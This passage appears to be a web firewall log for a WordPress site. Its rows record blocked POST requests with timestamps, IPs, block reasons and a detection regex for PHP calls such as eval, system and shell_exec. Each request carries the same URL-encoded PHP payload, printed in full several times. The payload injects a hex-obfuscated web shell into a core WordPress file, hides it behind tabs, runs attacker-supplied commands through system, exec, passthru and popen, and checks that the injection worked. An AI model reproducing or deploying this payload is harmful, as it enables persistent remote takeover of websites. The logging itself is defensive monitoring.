20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7077\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nJG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:39","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁1080秒","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7077\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nJG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:50","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7077\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\niO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pluggable-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524bind1%2520%253D%2520%252773%2527%253B%2524bind2%2520%253D%2520%252774%2527%253B%2524bind3%2520%253D%2520%252765%2527%253B%2524bind4%2520%253D%2520%252768%2527%253B%2524bind5%2520%253D%2520%25276c%2527%253B%2524bind6%2520%253D%2520%25275f%2527%253B%2524bind7%2520%253D%2520%252778%2527%253B%2524bind8%2520%253D%2520%252763%2527%253B%2524bind9%2520%253D%2520%252770%2527%253B%2524bind10%2520%253D%2520%252775%2527%253B%2524bind11%2520%253D%2520%25276e%2527%253B%2524bind12%2520%253D%2520%252772%2527%253B%2524bind13%2520%253D%2520%25276f%2527%253B%2524bind14%2520%253D%2520%252764%2527%253B%2524bind15%2520%253D%2520%252761%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%252779%2527%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%2524bind3%2520.%2520%25276d%2527%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind1%2520.%2520%2524bind4%2520.%2520%2524bind3%2520.%2520%2524bind5%2520.%2520%2524bind5%2520.%2520%2524bind6%2520.%2520%2524bind3%2520.%2520%2524bind7%2520.%2520%252765%2527%2520.%2520%2524bind8%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind3%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind9%2520.%2520%252761%2527%2520.%2520%2524bind1%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524bind4%2520.%2520%252772%2527%2520.%2520%2524bind10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%2524bind9%2520.%2520%2524bind3%2520.%2520%2524bind11%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524bind2%2520.%2520%2524bind12%2520.%2520%2524bind3%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524bind2%2520.%2520%2524bind6%2520.%2520%252763%2527%2520.%2520%2524bind13%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524bind3%2520.%2520%2524bind11%2520.%2520%2524bind2%2520.%2520%252773%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524bind8%2520.%2520%2524bind5%2520.%2520%25276f%2527%2520.%2520%2524bind1%2520.%2520%252765%2527%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524bind14%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%2524bind15%2520.%2520%2524bind6%2520.%2520%2524bind1%2520.%2520%2524bind2%2520.%2520%25276f%2527%2520.%2520%252772%2527%2520.%2520%252761%2527%2520.%2520%252767%2527%2520.%2520%2524bind3%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524data_storage%252C%2524object_data%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524object_data%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524itm_comp%253D%2524module_controller5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524itm_comp%2529%257B%2524rec_elem%253D%2524module_controller6%2528%2524itm_comp%2529%253B%2524module_controller7%2528%2524itm_comp%2529%253Bprint%2520%2524rec_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%